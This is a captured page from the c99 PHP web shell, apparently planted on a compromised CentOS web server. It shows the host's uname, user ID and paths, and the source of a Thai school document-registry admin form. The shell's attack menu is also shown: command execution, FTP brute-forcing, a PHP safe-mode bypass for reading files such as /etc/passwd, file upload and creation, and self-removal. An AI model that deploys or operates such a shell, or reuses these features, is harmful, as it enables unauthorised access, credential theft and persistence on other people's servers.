!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/manage/Book_depart/Book_Acc/   drwxr-xr-x
Free 50.91 GB of 127.8 GB (39.83%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     addBook-1.php (17.03 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
session_start
();
 if (
session_is_registered("valid_user"))
{
$Username $valid_user;
include(
"../../include/FunctionDB.php");
include(
"../../include/Function.php");
include(
"admin_menu.php");
 
ConnectDB();
//$strSQL = "SELECT * FROM  bookmant_tb  Where  Book_code='$Book_code'  Order By  Date_buy DESC ";

?>
<meta http-equiv="Content-Type" content="text/html; charset=TIS-620">
<script language="javascript" src="js/calendarDateInput2.js"></script>
<script language="JavaScript" type="text/JavaScript">
<!--
  function browse()
{
form1.Imag1.src = form1.Img1.value;
}
<!--
 function MM_openBrWindow(theURL,winName,features) { //v2.0
  window.open(theURL,winName,features);
}
//-->
function chk(c){
if (c.checked){
document.all.Prob1.disabled=false;
document.all.Prob2.disabled=false;
document.all.Prob3.disabled=false;
document.all.Prob4.disabled=false;
}
else{
document.all.Problem.disabled=false;
}
}
function enableDropdown(){
        var form = document.form1;
        
        if(form.Teachbox1.checked){
            form1.Teacher_code1.disabled = false;
        }
        else{
            form1.Teacher_code1.disabled = true;
        }
        
        if(form.Teachbox2.checked){
            form1.Teacher_code2.disabled = false;
        }
        else{
            form1.Teacher_code2.disabled = true;
        }
        
        if(form.Teachbox3.checked){
            form1.Teacher_code3.disabled = false;
        }
        else{
            form1.Teacher_code3.disabled = true;
        }
        
        if(form.Teachbox4.checked){
            form1.Teacher_code4.disabled = false;
        }
        else{
            form1.Teacher_code4.disabled = true;
        }
        
        if(form.Teachbox5.checked){
            form1.Teacher_code5.disabled = false;
        }
        else{
            form1.Teacher_code5.disabled = true;
        }
        
        if(form.Teachbox6.checked){
            form1.Teacher_code6.disabled = false;
        }
        else{
            form1.Teacher_code6.disabled = true;
        }
}
</script>
<style type="text/css">
<!--
.style3 {color: #000000}
-->
</style>

<table width="814" border="0" cellpadding="0" cellspacing="0">
    <tr>
        <td width="814"><br>
          <fieldset>
            <legend><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>"><a href="menu_office.php" >˹éÒËÅÑ¡</a> <img src="../../picture/ico3.gif" width="10" height="10" border="0" align="absmiddle"><a href="BookByYear.php">áÊ´§¢éÍÁÙÅ˹ѧÊ×ÍÃÒª¡ÒÃÃÒ»Õ</a></font><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>"><img src="../../picture/ico3.gif" width="10" height="10" border="0" align="absmiddle" />à¾ÔèÁ¢éÍÁÙÅÃÒ¡ÒÃ˹ѧÊ×ÍÃѺ-Êè§</font></legend>
            <label><div align="center">
              <form id="form1" name="form1" method="post" action="InsertBook.php" enctype="multipart/form-data">
                <p align="left"><font size="2" face="Tahoma"><img src="../../picture/previous.gif" onclick="window.history.back()"  width="85" height="22" border="0" /></font></p>
                <table width="70%" height="342" border="0" align="center" cellpadding="0" cellspacing="0" style="border:0px solid gray">
                  <tr bgcolor="#CCCCCC" >
                    <td height="25" colspan="3" bgcolor="eeeeee">&nbsp;</td>
                  </tr>
                  <tr bgcolor="#CCCCCC" >
                    <td height="25" colspan="3" bgcolor="eeeeee"><div align="center" class="style1"><font size="4" face="Tahoma">à¾ÔèÁ¢éÍÁÙÅ˹ѧÊ×ÍÃѺ</font></div></td>
                  </tr>
                  <tr bgcolor="#EEEEEE">
                    <td height="22" bgcolor="eeeeee"><div align="center" class="style3"><font size="2" face="Tahoma">ª¹Ô´¢Í§Ë¹Ñ§Ê×Í</font></div></td>
                    <td bgcolor="eeeeee">&nbsp;</td>
                    <td bgcolor="eeeeee"><font color="#006633" size="2" face="Tahoma">
                      <input name="Book_code" type="radio" value="1"  checked />
                      Ë¹Ñ§Ê×ÍÃѺ
                      <input name="Book_code" type="radio" value="2"  />
                      Ë¹Ñ§Ê×ÍÊè§</font>
                    <label> </label></td>
                  </tr>
                  <tr bgcolor="#EEEEEE">
                    <td height="22" bgcolor="eeeeee"><div align="center" class="style3"><font size="2" face="Tahoma">»Õ.¾È </font></div></td>
                    <td bgcolor="eeeeee"><font size="2" face="Tahoma"><font color="#FF0000">*</font></font></td>
                    <td bgcolor="eeeeee"><select name="Year" id="Year">
                      <option value="2549">2549</option>
                      <option value="2550">2550</option>
                      <option value="2551">2551</option>
                      <option value="2552">2552</option>
                    </select></td>
                  </tr>
                  <tr bgcolor="#EEEEEE">
                    <td height="22" bgcolor="eeeeee"><div align="center"><font size="2" face="Tahoma">àÅ¢·Õè·ÐàºÕ¹ÃѺ</font></div></td>
                    <td bgcolor="eeeeee">&nbsp;</td>
                    <td bgcolor="eeeeee"><input name="No" type="text" id="No" size="6" maxlength="6" />
                        <font color="#006633" size="2" face="Tahoma">&nbsp; </font>
                    <label></label></td>
                  </tr>
                  <tr bordercolor="#006699" bgcolor="#99CCFF">
                    <td bgcolor="#eeeeee"><div align="center"><font color="#000000" size="2" face="Tahoma">Çѹ/à´×͹/»Õ</font></div></td>
                    <td bordercolor="#CCCCCC" bgcolor="#eeeeee"><div align="center"><font size="2" face="Tahoma"><font color="#FF0000">*</font></font></div></td>
                    <td bordercolor="#CCCCCC" bgcolor="#eeeeee"><!--<select name="mDate" id="mDate">
                        <?getDay1to31();?>
                      </select>
                      -
                      <select name="mMonth" id="mMonth">
                        <?getThaiMonth();?>
                      </select>
                      -
                      <input name="mYear" type="text" id="mYear" size="5" maxlength="4" />-->
                        <script>DateInput('date', true, 'DD/MM/YYYY','<?php echo date('d')."/".date('m')."/".date('Y');?>');</script></td>
                  </tr>
                  <tr bgcolor="#EEEEEE">
                    <td width="30%" height="20" bgcolor="eeeeee"><div align="center"><font size="2" face="Tahoma">àÅ¢·Õè˹ѧÊ×ÍÃѺ</font></div></td>
                    <td width="2%" bgcolor="eeeeee"><div align="center"><font color="#FF0000" size="4" face="Tahoma"><strong>*</strong></font></div></td>
                    <td width="68%" bgcolor="eeeeee"><font color="#006633" size="2" face="Tahoma">
                      <input name="No_in" type="text" id="No_in" size="30" />
                    </font></td>
                  </tr>
                  <tr bgcolor="#FFFFFF">
                    <td bgcolor="eeeeee"><div align="center"><font size="2" face="Tahoma">àÃ×èͧ</font></div></td>
                    <td bgcolor="eeeeee"><div align="center"><font color="#FF0000" size="4" face="Tahoma"><strong>*</strong></font></div></td>
                    <td bgcolor="eeeeee"><strong><font color="#003366" size="2" face="Tahoma"> </font><font color="#003366" size="2" face="Tahoma">
                    <textarea name="Status" cols="50" rows="4" id="Status"></textarea>
                    </font></strong></td>
                  </tr>
                  <tr bgcolor="#EEEEEE">
                    <td height="22" bgcolor="eeeeee"><div align="center"><font size="2" face="Tahoma"><font size="2" face="Tahoma">ª×èͼÙéÃѺ˹ѧÊ×Í</font></font></div></td>
                    <td bgcolor="eeeeee"><font color="#FF0000" size="4" face="Tahoma"><strong>*</strong></font></td>
                    <td bgcolor="eeeeee"><strong><font color="#003366" size="2" face="Tahoma">
                      <label>
                      <input name="Teachbox1" type="checkbox" id="Teachbox1" onclick="enableDropdown()" />
                      </label>
                      <select name="Teacher_code1" id="Teacher_code1" class="input1"  disabled/>
                        <?php
           $strSQL2 
"SELECT * FROM personal_tb Where  Permision='2'   Order by Teacher_name ";
           
$result2 mysql_query($strSQL2);
                 while( 
$rs2 mysql_fetch_array($result2))     
                     {
                 echo
"<option value=\"$rs2[Teacher_code]\" ><b>$rs2[Teacher_name]&nbsp;$rs2[Teacher_lastname]</b></option>\n";
                }
                                
          
?>
                      </select>
                    </font></strong></td>
                  </tr>
                  <tr bgcolor="#EEEEEE">
                    <td bgcolor="eeeeee"><div align="center"><font size="2" face="Tahoma"><font size="2" face="Tahoma">ª×èͼÙéÃѺ˹ѧÊ×Í</font></font></div></td>
                    <td bgcolor="eeeeee"><font color="#FF0000" size="4" face="Tahoma"><strong>*</strong></font></td>
                    <td bgcolor="eeeeee"><strong><font color="#003366" size="2" face="Tahoma">
                      <input name="Teachbox2" type="checkbox" id="Teachbox2" value="checkbox"  onclick="enableDropdown()"/>
                      <select name="Teacher_code2" id="Teacher_code2" class="input1"  disabled />
                        <?php
           $strSQL2 
"SELECT * FROM personal_tb Where  Permision='2'   Order by Teacher_name ";
           
$result2 mysql_query($strSQL2);
                 while( 
$rs2 mysql_fetch_array($result2))     
                     {
                 echo
"<option value=\"$rs2[Teacher_code]\" ><b>$rs2[Teacher_name]&nbsp;$rs2[Teacher_lastname]</b></option>\n";
                }
                                
          
?>
                                                                  </select>
                    </font></strong></td>
                  </tr>
                  <tr bgcolor="#EEEEEE">
                    <td bgcolor="eeeeee"><div align="center"><font size="2" face="Tahoma"><font size="2" face="Tahoma">ª×èͼÙéÃѺ˹ѧÊ×Í</font></font></div></td>
                    <td bgcolor="eeeeee"><font color="#FF0000" size="4" face="Tahoma"><strong>*</strong></font></td>
                    <td bgcolor="eeeeee"><strong><font color="#003366" size="2" face="Tahoma">
                      <input name="Teachbox3" type="checkbox" id="Teachbox3" value="checkbox"  onclick="enableDropdown()"/>
                      <select name="Teacher_code3" id="Teacher_code3" class="input1"  disabled />
                        <?php
           $strSQL2 
"SELECT * FROM personal_tb Where  Permision='2'   Order by Teacher_name ";
           
$result2 mysql_query($strSQL2);
                 while( 
$rs2 mysql_fetch_array($result2))     
                     {
                 echo
"<option value=\"$rs2[Teacher_code]\" ><b>$rs2[Teacher_name]&nbsp;$rs2[Teacher_lastname]</b></option>\n";
                }
                                
          
?>
                                            </select>
                    </font></strong></td>
                  </tr>
                  <tr bgcolor="#EEEEEE">
                    <td bgcolor="eeeeee"><div align="center"><font size="2" face="Tahoma"><font size="2" face="Tahoma">ª×èͼÙéÃѺ˹ѧÊ×Í</font></font></div></td>
                    <td bgcolor="eeeeee"><font color="#FF0000" size="4" face="Tahoma"><strong>*</strong></font></td>
                    <td bgcolor="eeeeee"><strong><font color="#003366" size="2" face="Tahoma">
                      <input name="Teachbox4" type="checkbox" id="Teachbox4" value="checkbox"  onclick="enableDropdown()"/>
                      <select name="Teacher_code4" id="Teacher_code4" class="input1" disabled />
                        <?php
           $strSQL2 
"SELECT * FROM personal_tb Where  Permision='2'   Order by Teacher_name ";
           
$result2 mysql_query($strSQL2);
                 while( 
$rs2 mysql_fetch_array($result2))     
                     {
                 echo
"<option value=\"$rs2[Teacher_code]\" ><b>$rs2[Teacher_name]&nbsp;$rs2[Teacher_lastname]</b></option>\n";
                }
                                
          
?>
                                            </select>
                    </font></strong></td>
                  </tr>
                  <tr bgcolor="#EEEEEE">
                    <td bgcolor="eeeeee"><div align="center"><font size="2" face="Tahoma"><font size="2" face="Tahoma">ª×èͼÙéÃѺ˹ѧÊ×Í</font></font></div></td>
                    <td bgcolor="eeeeee"><font color="#FF0000" size="4" face="Tahoma"><strong>*</strong></font></td>
                    <td bgcolor="eeeeee"><strong><font color="#003366" size="2" face="Tahoma">
                      <input name="Teachbox5" type="checkbox" id="Teachbox5" value="checkbox" onclick="enableDropdown()" />
                      <select name="Teacher_code5" id="Teacher_code5" class="input1" disabled />
                        <?php
           $strSQL2 
"SELECT * FROM personal_tb Where  Permision='2'   Order by Teacher_name ";
           
$result2 mysql_query($strSQL2);
                 while( 
$rs2 mysql_fetch_array($result2))     
                     {
                 echo
"<option value=\"$rs2[Teacher_code]\" ><b>$rs2[Teacher_name]&nbsp;$rs2[Teacher_lastname]</b></option>\n";
                }
                                
          
?>
                                            </select>
                    </font></strong></td>
                  </tr>
                  <tr bgcolor="#EEEEEE">
                    <td bgcolor="eeeeee"><div align="center"><font size="2" face="Tahoma"><font size="2" face="Tahoma">ª×èͼÙéÃѺ˹ѧÊ×Í</font></font></div></td>
                    <td bgcolor="eeeeee"><font color="#FF0000" size="4" face="Tahoma"><strong>*</strong></font></td>
                    <td bgcolor="eeeeee"><strong><font color="#003366" size="2" face="Tahoma">
                      <input name="Teachbox6" type="checkbox" id="Teachbox6" value="checkbox" onclick="enableDropdown()" />
                      <select name="Teacher_code6" id="Teacher_code6" class="input1" disabled />
                        <?php
           $strSQL2 
"SELECT * FROM personal_tb Where  Permision='2'   Order by Teacher_name ";
           
$result2 mysql_query($strSQL2);
                 while( 
$rs2 mysql_fetch_array($result2))     
                     {
                 echo
"<option value=\"$rs2[Teacher_code]\" ><b>$rs2[Teacher_name]&nbsp;$rs2[Teacher_lastname]</b></option>\n";
                }
                                
          
?>
                                            </select>
                    </font></strong></td>
                  </tr>
                  
                  <tr bgcolor="#EEEEEE">
                    <td bgcolor="eeeeee"><div align="center"><font size="2" face="Tahoma"><font size="2">µéͧ¡ÒÃá¨é§ºØ¤Åҡ÷ء栤¹</font> </font></div></td>
                    <td bgcolor="eeeeee"><font color="#FF0000" size="4" face="Tahoma"><strong>*</strong></font></td>
                    <td bgcolor="eeeeee"><font size="2" face="Tahoma">
                      <input name="Statistic" type="radio" value="á¨é§" />
                      á¨é§
                      <input name="Statistic" type="radio" value="äÁèá¨é§" />
                    äÁèá¨é§ </font></td>
                  </tr>
                  <tr bgcolor="#eeeeee">
                    <td bgcolor="eeeeee"><div align="center"><font size="2" face="Tahoma">¨Ò¡Ë¹èǧҹ</font></div></td>
                    <td bgcolor="eeeeee">&nbsp;</td>
                    <td bgcolor="eeeeee"><input name="Store_1" type="text" class="input" id="Store_1" size="55" /></td>
                  </tr>
                  <tr bgcolor="#EEEEEE">
                    <td height="22" bgcolor="eeeeee"><div align="center"><font size="2" face="Tahoma">ËÁÒÂà˵Ø</font>Ø</div></td>
                    <td bgcolor="eeeeee">&nbsp;</td>
                    <td bgcolor="eeeeee"><textarea name="Description" cols="40" rows="3" id="Description"></textarea></td>
                  </tr>
                  <tr bordercolor="#CCCCCC" bgcolor="#ECF5FF">
                    <td height="54" nowrap="nowrap" bordercolor="#CCCCCC" bgcolor="eeeeee"><div align="center"><font color="#003366" size="2" face="Tahoma">âËÅ´àÍ¡ÊÒà</font></div></td>
                    <td bordercolor="#CCCCCC" bgcolor="eeeeee">&nbsp;</td>
                    <td nowrap="nowrap" bordercolor="#99CCFF" bgcolor="eeeeee"><table width="82%" border="0" cellspacing="0" cellpadding="0">
                        <tr>
                          <td width="80%" height="34"><div align="center">
                              <div align="left">
                                <input name="Img1" type="file" id="Img1" onchange="browse()>
                              </div>
                            <label> </label></td>
                          <td width="20%">&nbsp;</td>
                        </tr>
                    </table></td>
                  </tr>
                  <tr bgcolor="#CCCCFF" >
                    <td height="25" colspan="3" bgcolor="eeeeee"><div align="center">
  <input type="submit" name="Submit3" value=" ºÑ¹·Ö¡ " class="button" />
  &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
  <input type="reset" name="Submit22" value="àÃÔèÁãËÁè" class="button" />
                    </div></td>
                  </tr>
                  <tr bgcolor="#CCCCFF" >
                    <td height="25" colspan="3" bgcolor="eeeeee"><div align="center"></div></td>
                  </tr>
                </table>
              <br>
            </form>
              </div>
            </label>
        </fieldset><br>
        <font color="<?php echo $GLOBALS["COLOR_FONT_3"];?>" size="2"><b>ËÁÒÂà˵ؠ:</b> ãªéàÁÒÊì¤ÅÔ¡<br>
      </font></td>
    </tr>
</table>
<?php 
    
}
else
{
      echo
"<meta http-equiv=\"refresh\" content=\"3;URL=FrmLogin.php\">\n";
      echo
"Please Login ";
}
?>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.011 ]--